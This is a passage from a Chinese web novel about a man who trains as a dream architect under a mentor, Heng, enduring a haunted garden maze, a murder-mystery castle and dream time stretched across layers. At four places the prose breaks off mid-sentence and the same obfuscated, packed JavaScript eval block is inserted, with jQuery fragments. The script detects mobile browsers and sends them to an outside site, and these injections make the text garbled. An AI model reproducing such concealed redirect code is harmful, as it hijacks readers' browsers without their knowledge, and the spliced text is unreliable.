我不知道珩以前是个什么人,但从她的能力看来,她以前必然是个重要的角色,或者是某个重要人物的亲属后裔子弟之类,以前的江夷是个多疑又狡猾的人,她比以前的我还要技高一筹。这种能体现个人经历,会暴露个人身份及情感的建筑物,理论上不该留在她的脑海中。 我一边走一边观察这栋教学楼,这里应该是一所小学,桌椅比中学的要矮。教室里的设施简陋又破旧,地面是灰扑扑的水泥地,黑板固定,不可推动,边框是暗红色实木质地,因为用得太久,边框开裂,上面的漆料随机脱落。我又往外看,楼房只有两层,外墙同样没有任何粉饰,这种旧楼在现在可以说是非常罕见,往前倒退十几年,到了千禧年前后,大概也不常有。这样的建筑质地和装修风格,像是电影里拍的七八十年代。 七八十年代……正好是人鱼电影院老板口中那个“珩”读小学的时代。 我至今没敢问珩,老板那个“珩”和她是什么关系。如果这栋楼真的是那个“珩”的记忆,她留下它在情理上就说得通了。那个“珩”现在不知去向,珩出于一些感情上的原因,留下了她建造的小学,没有删除。 虽然想起那个“珩”,事情又蒙上了一层古旧的迷雾,但不得不说,这里确实很舒服。记忆的主人对这里必然怀有深切的爱意,我和珩走在教学楼两部分之间连接的走廊上,走廊是悬空的,右边能看见一个小花园,左边是围绕教学楼画的跑道,跑道外面是低矮的围墙,墙的那边……是大海。我能看见海上的绿色的小岛,海风徐徐吹来,海浪声均匀又和缓,时不时会有一群海鸟,从海的那边,飞到这边来。 大海。我想起了我在海边的故乡。我的故乡真的在海边吗?还是那也是一段被故意塞进我的脑子里的记忆?但为何当我看见这片大海时,我的心忽然间平静了下来,那些烦闷的、动荡的、不安的棱角,被这一阵接一阵温和的海风抹去。甚至有一瞬间,我产生了些许错觉,连这七八十年代的小学,也变得好熟悉,好像我也曾经站在这片土地上,像现在一样,看着大海发呆。 “江夷?” 珩早就停下了脚步,她忽然叫我,我如梦初醒,险些撞她身上。 “你在看什么?”她循着我的目光,也往外看。 “我就看看海,我家也在海边,”我说,“好多年没回去,不知道现在变成什么样了。” “今天休息,我先带你熟悉一下环境,之后你可以慢慢看。”说起大海,她的神情似乎也缓和了下来,“等会我带你去另一边的操场,那里是铁网,不是围墙,有架秋千,荡得足够高的时候,铁网就消失了,你会看见大海,它就在你的眼前。” 她好像意识到自己说得有点太多了,又岔开话题:“之后你会接受一系列训练,因为时间紧迫,这栋楼我放在你的潜意识里,每天晚上你自己进去训练。” “我自己进去?” “你不是有那段录音吗?那段二十秒的海浪声。”她看向我,阳光照亮她的浅色眼睛,“你不会没把录音拿过来吧?” “那我当然是拿了。” “你删掉他手机里的录音了吗?” “多大仇啊,倒也不必砸人饭碗吧!” “江夷,我要是告诉你,按照你现在这个中学体育老师的工资,你需要不吃不喝连续工作两百年,才能赚到他凭这段录音赚到的钱,你还会这么善良吗?” “什么?”我大叫,“你说多少???” 她慧黠的眼睛闪了闪:“他可是什么都没干,偷了一段录音,就赚了好多人一辈子都赚不来的钱。我要是你,我也不会删掉它,我会把它的频率调到原来的1.12倍,然后还给他。” “1.12倍?”我疑惑,“1.12倍会怎样?” “会让你跳进水池之后,一只大蟑螂向你游过来,然后把你拖到下水道里。” ……他俩肯定是有点过节。这不是砸人饭碗,简直是谋杀,《走近科学》第二天就要去报道,东海市心源性猝死病例密集爆发到底是何故?神秘录音从何而来?电影院老板究竟得罪了何方神圣? 我想起最近这几天,我仗着跟她熟了,还经常顶嘴,这女人可得罪不了,她随随便便就能杀了我,我简直是胆大包天,拔老虎的胡子玩。她没把我吃掉,算是菩萨心肠,大发慈悲。 她带我来到一排教室前面,这是个扩展过的空间,按照这个小学的建筑风格,这里应该是一个不太发达的小镇,一个年级有两三个班已经顶天了,怎么能有这么一长排的教室。先不说这个,她伸手在前四个教室前面晃了晃,她说:“这四个教室,里面是你跟我当学徒之前的基本训练,通过了这四个关卡,你就可以进普通人的梦境了。” 之后她指向那边好多好多间的教室:“那些是更高级的训练,因为你以前是个筑梦师,你的大脑比普通人要复杂得多,里面还可能有大量的陷阱和机关,完成那些之后再进去,才会稍微安全一点。” “稍微?” “对,稍微。”她看向我,“我给你的训练场都很温和,大不了就是鬼怪和虫子,你大喊救命,我还会来救你。对于一个噩梦来说,被吓醒是最好的结局,而这种结局,在一个训练有素的筑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15984799|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梦师布下的防御工事里,几乎不可能出现。” “不醒来,然后呢?难道一直睡?” “在梦里你的大脑运行速度是现实里的9倍,当你一层层梦境深入,你的体感时间就会一次次延长。有的人会把你困在空旷的梦里,用极其漫长的时间把你逼疯,有的人会设置时间接近无限长的噩梦,让你一直在痛苦和恐惧中,怎么挣扎都出不来。而这甚至还不是最坏的结局,还有一种陷阱,叫无限延伸梦境——” 我留意到她说到这里的时候,目光不由自主看向了走廊左边的大海。 她几乎是瞬间收回了她的目光,她看向我,似乎不愿就这件事再讲下去。“现在讲这个还太早了,你就算知道那是什么,也不知道怎么应对,不吓你了,你先把前面几个过了,后面我慢慢跟你说。” 在这里的她好像和之前不太一样,但我知道我和她还没有熟悉到这个地步,不该问的东西不问,我点点头,没再说什么。 她若无其事地给我讲我明天要去的第一个房间,不知道是不是刚刚在操场的那场地震,或者是什么别的。我那个该死的脑子啊,它悄悄地拉着我走神,它说,不该问的东西不问,她要说的时候自然会说。但是,会有这么一天吗? “江夷!” 完蛋,我走神又被她发现了。 …… 珩告诉我,第一个训练场是迷宫,她问我有没有玩过大迷宫,我说迷宫有玩过,但是你所定义的“大”是多大?她想了想,问我有没有去过皇家园林,什么安明园之类的。 我敏锐地捕捉到了这个细节。这个训练场建了肯定有些时候了,甚至它是以前那个珩建的,珩提到安明园,里面必定就和真实的安明园有点关系。虽然按照她的行事风格,肯定不会一比一复原安明园,让我进去打怪,但是心里有底总是件好事,按照老师画的重点复习,怎么能算是作弊呢?我一回去,摸出手机就搜安明园迷宫。 对不起,我不是故意的,但是我现在的记忆力实在是太好了,可以说是过目不忘,我简单地看了几篇攻略,就把走出迷宫的路线背下来了。 现在的小江已经不是以前的小江了,士别三日当刮目相待,狡猾的小江把看攻略的记忆藏在了昨天洗澡的记忆里,我把它团吧团吧塞进了沐浴露瓶子里。哪怕珩趁我不备,搜检我的大脑,她也绝不会看我一|丝|不|挂|的洗澡片段,更加不会跑到浴室里,打开我的沐浴露,把里面的东西倒出来。 果不其然,我非常顺利地通过了进考场前的安检,她小手一推,把我推进了第一个教室。 里面是黑的。 微弱的月光照亮了我旁边的湖面,湖。好,湖。昨天我已经把安明园的地图背下来了,迷宫旁边绝对没有湖。 珩在门口说话:“安明园地图你已经背好了吧?没背好就是你的问题,你口袋里有个手电筒,你自己出来吧。” 16. 我不行了求你了救我 可怜的小江真是持续不断永无止息地,被这个奸诈的女人玩弄在股掌之中。 我摸摸我的右边口袋,里面是我第一次在下水道看见大蟑螂时用的强光手电。我打开电筒,往我四周照了一圈,左手边是一大片草地,右边是湖,远处好像有个更大的湖,那边应该是福海。珩把我扔到后湖去了,这地方不是个游览的热点,就算在白天,人也不会太多,幸好我早有准备,把整个安明园的地图都背了下来。我凭借我高超的记忆力,想起在我的附近就有一块指路牌。 我不找出口,不看方向,直接凭记忆找路牌,我走过一小段路,面前出现了一段黑色的水道,河边,桥下,好就是这里,路牌应该在我的左边,我拿起电筒,往左边一照。电筒的光特别强,它照到一大片光滑的白色上,光线全部反射,我有0.1秒的时间被反射的强光刺得睁不开眼,这0.1秒过去,白色的东西变成了黑白交替,背对着我的女鬼转向我,她蹲在我脚边,惨白的脸朝着我,黑色的长发垂在我脚上,触感有点像路迢家猫的尾巴。 不是,我是被珩虐习惯了吗,女鬼都蹲我脚边了,我怎么还在想路迢家的猫? 不是…… 这里和下水道不是一个难度级别,也没人说她会扑上来抱我啊!!! 我尖叫一声,往后退开,这里地面都是不平整的石头,我没站稳,手电筒脱手飞出,它在空中划出漂亮的一个扇形光路,之后掉进了水里。 它还在水面漂浮,没有电筒,这黑灯瞎火的我绝对走不出去,我也不管女鬼了,她不撒手就不撒手吧,大力出奇迹,她像考拉一样抱在我身上,我带着她就往水边走。电筒就在水面上,我伸手就去探它。好像是感知到我来了,水里适时地伸出来一只绿色的手,我没摸到电筒,倒是那只瘦版怪物史莱克的手和我十指紧扣。他也大力出奇迹,他也不管我身上还扒着一只女鬼,他直接发力,把我拽了下水。 咕咚咕咚…… “救命啊喂!” 咕咚咕咚…… “救命啊!” 咕咚咕咚…… 以前我是不会轻易喊那句求救口令的,我是个要强的人,现在我变了,我强不要了脸也不要了,我要命。 “我不行了,求你了,救我!!!” 喊完的瞬间,我被拉了出来。只是这次我没和以前一样在社区活动中心的躺椅上醒过来,我还站在教室门口。珩就在我对面,她双手环胸,神情不善地看着我。 “五分钟,江夷,你就五分钟,你行不行啊?” 不得不说她骂人的时候真的好凶,一个多月了我依然被她骂得满地找头。 “说话!” “……我行。” 她不说话,还看着我。 “……我不行。” 她还看我。 “行也不行不行也不行你要我说什么……” “电筒怎么用的?” “观测尽可能大的范围。” “那你怎么用的?” “直接找路牌。” “我说是安明园你就信了?在梦里没有任何东西是真的,我放个和现实中一模一样的路牌在那里,让你走过的前九百九十九步都和现实一样,然后在第一千步放陷阱,你能躲开?” 她看起来好像很生气,我不敢说话,怒气在她眼里只停留了一瞬间,之后她又恢复到那个漠不关心的状态。我更不敢说话了。 “你以为我跟你闹着玩吗?梦里随便一个机关都能把你折磨得生不如死。”她说,之后看向我,我不敢和她对上目光,灰溜溜地躲开。 她拉我到门边,她的力气和我的体重完全不在一个数量级,但我没反抗,由着她把我拽了过去。 “这里和下水道不一样,你醒来只会到这里,时间不够我就把你往下一层梦境推,出不来你就别醒了。” 她把门拉开,又是一手把我推了下去。 我头磕在一块石碑上,我先摸身上的手电筒,打开,石碑上四个大字,“庄严法界”。 庄严法界,庄严法界在哪里? 算了别想在哪里了,我就当没看过地图,最长的路是捷径,校长讲话天天重复这句话,校长说得对,最长的路是捷径,我还是老老实实探路吧。 …… 一个晚上就九个小时,九个小时怎么可能出来,珩给我推了两次梦境,出来的那一刻我终于醒了,闹钟就在我醒来的下一刻响起。七点钟。才七点钟。 第一个小时过去,我已经喊了八次救命,我表示我还能试一试,我好像找到门路了。珩说就我这样子,不可能在八小时之内出来,于是,她推了第一次。 那一刻我感觉自己在下沉,我和我的手电筒,连带着安明园和整栋教学楼都在下沉。部分在沉睡的神经元被强行唤醒,我的大脑短暂地刺痛了一下,好像有一部分房间的灯在大半夜里被突然打开了,之后场景恢复,所有东西和时间扩展之前没有任何不同。 “倒计时72个小时。”她说。 我又被她随机扔到黑夜的皇家园林里,每一次我都掉在不同的角落,她下手比以前狠多了,什么东西都可能往我脸上冲过来。有一次我被旁边的柳树绑住,直接在地上拖行,正好我又回到庄严法界那块石碑旁边,我重重地撞到石碑上。找到了熟悉的东西,我实在不想重新再来了,虽然后背很痛,但我还想爬起来接着打。正在我挣扎着要起来的时候,一个人出现在我面前,他什么都不说,对着地上的我就是当胸一脚。 那肯定是碰到了某一段我已经遗忘的恐怖记忆,胸口那两根肋骨的骨痂忽然爆发出一阵剧烈的刺痛,我知道下一秒疼痛就要把我拉到那个图书馆的地底去,我这辈子都不会愿意再去那里,那种绝望的情绪比黑暗的安明园要恐怖多了。 我选择呼救。 一到教室门口,我就瘫坐在地上。 “你怎么了?”珩弯腰看我。 我说不出话,指了指胸口。 “是那个人对吗?他触发了你的记忆,”她在我旁边蹲下,“你这个两根骨头,是被人踢断的?” 我想是的。因为他还没踢到我,我就开始被无名的力量往地底下拽。之前这段记忆被触发,都是因为痛觉。他单凭一个动作就能触发,可见这个动作确切存在,它是我恐惧的一部分。 “这应该是很久之前的事,是我还没学会筑梦前的事。”我的声音还有点颤抖, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15998732|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “按照我后来的胆量,这两根肋骨,不可能引起这么大的反应。而且……它们愈合得很好,几乎没有痕迹。那时候我肯定很小,可能……还是个小孩?” 她坐在我旁边,浅色的眼睛担忧地盯着我看。这里没镜子,但我现在看起来肯定很苍白。 “明天再来?”我看起来可能快死了,向来非常狠心的她居然主动松口。 我居然找到了一点过去的线索,虽然我已经疲惫不堪,但我心里的火被激起来了。我倒要看看是谁踢的这一脚。 “不,”我说,“还剩30个小时是吗?再下一层吧。” 倒计时270小时。 …… 我是在计时结束前3个小时醒来的。这三个小时只相当于现实中的两分钟。 我困在里面整整310个小时,接近13天。 而我醒来的时候,时间还是6点58分。 我有一瞬间的恍惚,现实和我的体感相差太远,我有一瞬间分不清我到底是从梦里到了现实,还是从现实掉进了梦里。而她甚至只把我往下推了两层——我想起她说到一半就没说下去的“无限延伸梦境”,无限延伸,时间以9的乘方无限扩展,现实中的一刹那,在梦里被无穷无尽地拉长。 别说在梦里放什么鬼放什么怪兽了,光是这没完没了的时间,就够把人折磨疯的。 这一天我又成了喜光植物,我人就坐在操场空旷的地方晒着。我在黑暗中度过了整整13天,不在太阳底下多晒会儿,我都怕我精神失常。我坐在足球场正中间,看着学生们在球场外围的跑道上跑步。几个女生在那里走路,我猛吹哨子,接着大喊:“你们几个又走路!才跑多久就开始走路?行不行你们?给我跑起来!” 几个人垂头丧气,不情不愿地拖着腿跑,跑完剩下的一圈,她们几个走到我旁边。 “江老师。” “干嘛,说。” 我平时真是脾气太好了,别人当老师我当老师,我当老师学生完全不怕我,甚至还敢开我玩笑。 她们几个鬼鬼祟祟地看看彼此,之后开始笑,然后她们问:“老师,你那个当班主任的女朋友又骂你了?” 首先我没有女朋友,其次我没有当班主任的女朋友,好家伙,前两天还是谣言,过了个周末,这谣言就给我坐实了? “我……” “老师我们能理解你的坏心情,但是你在这里生气是没有用的,根据我们两年来和暴躁班主任相处的经验,我们建议你买点好吃的买点花哄哄她。” “不是,谁跟你们说——”我有个当班主任的女朋友啊? “我跟你们说我没有——”我没有女朋友!我没有女朋友!!! 话到嘴边我想起了上次路迢在班里没收的漫画本子,两个男的搞在一起这样这样那样那样,据路老师说,这本书传遍了全班,本来他打算尊重年轻人的爱好,睁一只眼闭一只眼,直到它落到一个家有控制欲爸妈的女生手里。路迢觉得他再不动手,她爸妈晚上翻孩子书包发现了,明天他们就要对他动手了。 我觉得我最好还是别反驳。行我有个当班主任的女朋友,有个当班主任的女朋友总比有个当班主任的男朋友好。 17. 珩的绿手绳 我从第一个教室出来的时候,已经出现了一些后遗症状。那天我浑浑噩噩地上了半天班,午休时间,我去社区活动中心找珩。我很明显地怕黑,会不自觉地躲开室内阴暗的角落,对背后的动静过分敏感,听到身后的脚步声,会非常迅速地退开一步,同时转过头去看。在我差点吓到在我背后经过的厨师大叔之后,珩把我悄悄拉到了花园里。 “你还好吗?”她问。 “还行,就是有点怕黑,”我想起教室里那伸手不见五指的环境和随时可能从任何地方蹦出来抓我的怪物,不由得打了个寒颤,“不是我说,你里面放的东西真的太恐怖了,但凡心脏差点,都要被你吓死。” 她沉默。她又沉默。一个多月了我一眼就能读懂她三十八种不同的沉默。 “……后面几个更恐怖是吗?”我问。 “不仅更恐怖,而且时间更长,跨度更大,”她看我,“吓人是小事,我看你挺耐吓的。问题是时间。” “时间?” “梦境里的时间和现实里的时间差得太远,会让人陷入混乱中,分不清到底哪边是现实,哪边是梦境。”她说,“你在第一个教室里待了13天,这可能还不至于把你陷入太大的混乱里,但有些梦很长,一层层深入,每一层时间延长9倍,很容易就几十年过去了——但当你睁开眼,你会发现你还躺在床上,刚才那几十年,其实是假的。” 一阵寒意在我的脊椎里窜过,我的左侧胸腔忽然有点异物感—— 以前的江夷。经过这一两个月,我其实已经习惯了他的存在。但刚刚珩的话,忽然让我察觉到我和他之间的鸿沟。他是个筑梦师,他大概早就习惯了这种不同时间度量之间的切换吧?好陌生,好陌生,他的一切对于我来说都好陌生。 “所有筑梦师,都会经过这样的训练吗?” 珩没想到我会问这个,但聪明如她,大概是马上就反应过来我为什么会问这么一个问题了。 “会,”她点头,“只是每个人的训练风格不一样,为了不同目的,训练的重点也不一样。” “重点?”我看她,“那你呢?我现在接受的训练,重点是什么?” “自保。” “那他呢?” 她似乎不愿轻易地在我面前提起他,随着她对我了解的加深,她对他的避讳变得更明显了。 “他和你不一样,太不一样了。我对他了解也不深,因为我还没能真正地进你的脑子里,去看他意识里的建筑——”她看向我,眼里忽然有些古怪的笑意,“你发现了吗,多稀奇,我还没能进你的脑子。我,快两个月了,还没能进去。也不是不能进去,只是……我的经验告诉我,你的意识里布满了陷阱,而且每一个都很致命,惊吓是他不屑于使用的低等武器。我不是个喜欢冒险的人。” 我觉得珩已经是一个非常可怕的人了,她心思之缜密,远超过我日常生活中会接触到的其他人。她在训练场里给我布置的陷阱,每一个都在我的弱点上。我在她那里不能犯任何一点错,她预料到了我所有可能发生疏忽的时间点,针对我过分乐观、喜欢偷懒、投机取巧等等一系列,在我过去平静的生活里从没对我造成过威胁,因此我也从来没有发现过的缺点,她都给我设计了相应的岔路。我必须绝对理智,持续警觉,并且极快地做出推理和决策,才可能从她的训练场里全身而退。 “我记得你说过,他是个很优秀的筑梦师——” “他是很优秀,”她的目光扫过我的胸口,那个正在被我们剖析的人,此时彻底地沉默着,“但也很危险。” 她的目光回到我的脸上,直觉告诉我,她比较乐意站在她面前的是又天真又笨的失忆倒霉蛋我,而不是他。她像一只警觉的猫,忽然在陌生的环境里,找到了自己信任的人。 她说:“所以,我对那个抹掉你记忆的人也挺好奇的。他到底是怎么把你分成了这么分明的两部分,然后留下了现在这个你。” 危险的小江我忘了,但是他的高智商和高敏感已经被唤醒了,所以现在幼稚的小江敏锐地捕捉到了她的情绪变化,然后膨胀地翘起了尾巴—— “你好像在夸我?”我的周围又开始冒快乐泡泡,“现在这个我如何,你展开说说?” …… 因为我这一句话,她义正辞严地批评我,说我“过于关注自我”,说我“按照主观意愿选择性读取信息”,还说我“自我定位缺失轻易被情绪控制理智”,然后把我重新拖回下水道里,罚我又背了一百位圆周率。 上次出来之后,我以为我终于摆脱了下水道大蟑螂,一段时间没见,我对它们的耐受度直线下降。这次的下水道,蟑螂更多,它们和我的互动也更加频繁,见我满脸倦容地醒来,整个人看起来都蔫了,她消失的良心又恢复了一些。 她问我怎样。 我不理她。 她问:“怎么不说话?” 我说:“省得说错话,又被人关下水道里。” 我肯定是被蟑螂吓得失去理智了,还是怎么样,我为什么会觉得她会乐意听我这种抱怨?她眼里那一丁点的关心瞬间就消失了,她几乎是头也不回地就出去了。我马上就想道歉,毕竟她关我是为我好,我确实是非常容易膨胀,非常容易被情绪影响判断,虽然她要求的理智程度是反人类的,但她确实是在真心帮我。 但我可能是真被吓到了,或是最近实在训练得心力交瘁,那一刻我想站起来,但“站起来”的指令像个火花,它在我的脑子里呲地一声飞过去,之后就被我的疲倦兜头一场大雨浇灭。等我缓过来要追,她人已经出去了。 我精神上醒了,□□上还瘫着,我像被鬼压床,身子一点都动不了。我只好在躺椅上冲她远去的方向大喊:“对不起!对不起!喂你听到没,对不起!我错了!下次不敢了!” 走廊里没有半点声响。 从她离开,到我能动能追上去了,时间已经过了快半个小时。这半个小时里我想了好多,她会不会真生气了?我滑跪还有用吗?完蛋了我已经滑跪太多次了,她会不会因为见惯不怪所以不吃我这一套,再也不搭理我了?但是我没做什么啊,我只是抱怨了一句!对朋友是可以抱怨的,对老师能抱怨吗?况且她还不是我这种毫无权威跟学生玩到一块去的老师。我什么会跟她抱怨啊,我有病啊!我有病啊!好,我有病,完了,怎么办,她不帮我我就完蛋了,我一辈子都想不起来我是谁了。她不理我我也完蛋了,以后中午我到哪里去?晚上我到哪里去?我又回到了以前的生活,下班就瘫在沙发上打游戏刷抖音。我还不如从来没来过,我就这么瘫沙发一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16005684|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辈子算了。现在你让我回去瘫沙发,我怎么瘫?我这下真是彻底完蛋了。 我出去的时候看起来肯定很像一只脏兮兮的流浪狗,垂头丧气,一筹莫展,社区活动中心里几个常客认得我,非常没有眼力见的前工程师张阿姨,当年她就是因为太没有眼力见,不停说实话,所以虽然她才华横溢,但是一直卡在中层升不上去。现在她退休十年了,依然保持着她与生俱来的缺点,一看我出来,就用她饱满洪亮的大嗓门关心我:“江老师!怎么啦,看起来不太开心的样子啊?” 珩就坐她旁边,她正和一群阿姨阿婆一起做手工,张阿姨一开口,所有阿姨阿婆都看我。 我尴尬地站在那里,不知道要说什么。 珩刚织完一条手绳,她啪地打开打火机,拿火苗在手绳结尾的地方燎了燎。她对我的出现浑然不觉,完成了手绳的收尾工作,她才抬起头来,才发现我在那里站着。 她肯定是没有生气,她甚至没把我的话放心上,我的不开心都写脸上了,她对我的不开心有些疑惑,有些手足无措,但她跟我不一样,她一点也不在乎我开心不开心。她疑惑了一下手足无措了一下,就站起来,把我叫到外面去。 我跟在她后面出去,她领我到花园里,她停下我也停下,她看我,我不说话。 “后面的训练会越来越长,你只能在周五晚上放录音,周末两天必须休息。” “好。” “隔五分钟调一个闹钟,换不同的铃声,调上至少二十个。” “好。” “你站那么远干嘛?” 我是真该死,我像收到什么信号一样,我一步上前,脚都没站稳,嘴就开始输出了:“对不起我错了——” 她跟我不在一个频道,她和我同时发话:“这个给你——” 然后我跟她同时闭嘴,这时候我看到她把刚刚织的手绳递了给我。 “给我的?” “对,”她说,“因为训练场的设定是不通过就出不来,我想起来你其实才训练了两个月不到,本来你不应该那么快到这一步,省得你出什么事,这个给你,你戴着睡,如果你实在是受不了了,必须要醒来,你就叫我,我会把你拉出来。” “……”我低头看她放到我手心里的手绳,深绿色的,她的审美也就这样了,我看她头发这个色袜子这个色,什么东西都差不多这个色,我简直怀疑她的眼睛只能分辨绿色,其他颜色的东西看起来都是灰的。但是我还注意到手绳的腕围很大,最近社区活动中心准备搞义卖,过几天要去附近公园的夜市摆摊,买这种手绳手链的基本都是女生,这么大的腕围,一看就是专门给我做的。 “谢谢。”我假装很镇定地接过,但是我的大脑好像不太成熟,我控制不住自己,我忽然间开始笑。 她疑惑地看我,她越看我我越想笑,我一想笑我就笑出来了,一笑就止不住。 她看我的眼神像看一只莫名其妙追着自己尾巴转圈的猫,好像我现在正在进行一些灵长类动物不能完全理解的奇怪行为:“你笑什么?” “没什么,就……很好看,谢谢,我走了,再见。” 我感觉我再不走,我身上又要冒泡泡了,赶紧跑赶紧跑,不然她又说我动不动就情绪压倒理智,又把我关下水道里。 18. 729倍的时间 这个阶段的训练明显比以前困难得多,我被关在下水道里跟蟑螂老鼠打交道的时候,梦里的时间和现实的时间至少是一致的。我从梦里醒来,大不了就觉得我过了满满当当的一天,二十四个小时里,每一分钟都在被生活不留情面地敲打。但现在因为每个房间里的训练任务量都非常大,正常的时间度量里,我根本不可能完成训练。 第二个教室是推理训练场,我坐了一天一夜的火车,之后被关在大雪封山的古堡里,开始探案和密室逃脱。我被不知名的凶手用不一样的方式,杀人灭口了整整五十三次。古堡里谁都有故事,每个人都居心叵测,连会客厅里的吊灯都藏着机关,整个城堡最单纯最无知最愚蠢的,就是不才在下本人我。 我醒来的时候,是星期六早上八点钟。 那时候我已经反复进行了五十四次同样的任务,珩把我往下推了三层,5832个小时。 243天。 而现实里的我,只是从星期五晚上十二点,睡到了第二天早上八点。 当我找到凶手,被警察护送着离开古堡,重新坐上连接这深山和城市的唯一一趟火车时,任务已经被判定为完成状态。我人坐在返程的的火车上,等待一天一夜的车程过去,我回到教学楼里,然后我再从教学楼,回到现实中。 最后一次进入古堡,我在里面整整呆了二十天,时间太长,出来的时候,我已经有点陷入珩所说的,现实和梦之间的迷乱状态。我知道自己在做梦,但我又有点迷惑,离开现实太久了,我有点想不起醒来的时候世界是怎样的……就在这时候,我的闹钟响了。 它声音可真大,地动山摇的,我还没回到梦境的起点,梦境就硬生生被闹钟声震碎了。我周围的东西都在闪烁,我好像处在一台老旧的电视机里面,因为房子外面在打雷,我的电压和信号都随着动荡,所以到处都在嗞嗞嗞地冒电波—— 非常突然地,我降落在自己的床上。 我睁开眼看着上方的天花板,我非常确定,那一刻我看到我思维的碎片在空中漂浮。 我想起我这几天晚上打发时间,好,这几天,准确来说是我长达大半年的睡眠前的几天,我在家里看关于梦理论的书。里面提到其中一种理论,它认为梦是睡眠中灵魂出窍的实有经历,而如果梦没结束,人就醒过来,灵魂可能来不及回家,它就飘在空中,而少了一截灵魂的做梦者,则因此陷入精神错乱的状态中。 珩说人的意识是一条连续的轴,那天她凭空在教学楼旁边放了座摩天大楼,之后她把我带到电梯前面。她说,人的意识就像这栋楼,它的每一米,每一厘米,甚至每一毫米的高度上,都有不同的东西,但它只能停留在自然数层上,我不可能停在0.8楼,不可能停在1.76楼,但理论上这两个平面都切实存在。 假如醒来是1楼,是地面,最浅层的梦境是2楼,我现在就悬在1楼和2楼中间。平时我从2楼落到1楼的时间很快,我根本不会察觉到我曾经在这个无法停留的中间地带经过,但因为现在我还没完全醒来,我的时间度量还在正常的729倍,在被如此明显地放慢的时间里,我第一次体会到我从梦到醒之间的降落过程。 就像……就像那天我在人鱼电影院,那个装满了水的电视塔,深达108层的水池。 我下坠,下坠,下坠的途中我看见我还没归位的思维碎片到处漂浮,它们在找我,之后我毫无声息地击穿池底,那些漂浮的碎片霎时归位。 我再一次睁开眼。 这是我今天早上第二次睁开眼,我确实有一瞬间无法分辨,到底我是醒来了,还是仍在梦中。我下意识地看向我的手腕——入睡之前,我把珩给我的手绳戴在了左腕上。它在。梦里的我,手腕上没有任何东西。我身在一个物质的世界里,这是现实。 我不知道以前的江夷,是从什么时候开始接受筑梦师训练的,但我可以初步确认的是,他在过去这几年或是十几年的时间里,必定多次经历从浅层梦到现实之间的降落过程。这个片段激活了我关于他的一部分记忆,我感觉到我的大脑里有一小块黑暗的脑区短暂地亮了一下。 记忆是通过联想逐级储存的,一片从头到尾都彻底被遗忘的记忆,就像一块坚硬、光滑,而表面毫无裂隙的石头,我找不到任何一个凿开它的突破点。但此刻,这一片瞬间被照亮的脑区,就是它唯一的弱点。找到这块碎片,进入里面的记忆,我将可以通过它,去观测和它相关联的记忆。 就像一块玻璃,一个薄弱点出现,它的完全碎裂就指日可待。 虽然我黑暗的脑区实在太多,那盏灯只打开了一瞬间,又旋即熄灭,它就像一点火花,掉进黑暗的深渊里,消失不见。那一秒过去,我甚至想不起来刚才是哪里亮了。但我有天生的许多乐观,我觉得我肯定很快就能记起以前的事情。 一阵巨大的喜悦冲向我,我在床上到处乱摸,找我的手机,它在我一轮手忙脚乱的翻找下,顺着被子滑到了地上。我探身去摸地上的手机,我等不及爬回来,上半身还悬在外面,我伸出手指就戳地上的手机屏幕,找人发信息。 发给谁? 除了珩,没有人知道我的秘密。 现在是周六早上八点,据我在社区活动中心打听,珩是个一天需要睡十二个小时的人,她每天晚上九点准时消失,第二天九点之前,除非撬开她家的门,冲到她面前把她摇醒,没有人能联系上她。 我打开跟她的微信聊天,有一说一,她看起来不过十五六岁,绝对不超过十八岁,但她的生活习性和使用手机的风格,都很像一个阿姨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013217|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,甚至阿婆。社区活动中心里热爱哪壶不开提哪壶的张阿姨也加了我微信,珩和她一样,回信内容极其简短,热爱使用微信默认黄豆人表情,我说一堆她回两个字母——“ok”;或是我说一堆她回三个字——“知道了”。有时候我说些蠢话,她就回一串“……”。张阿姨都比她热情点,张阿姨至少隔三差五给我群发中老年早安晚安吃了吗表情包。 但我不管了,她回不回复是一回事,这一刻我很开心,我必须找个人说一下,不然我会马上憋死! …… 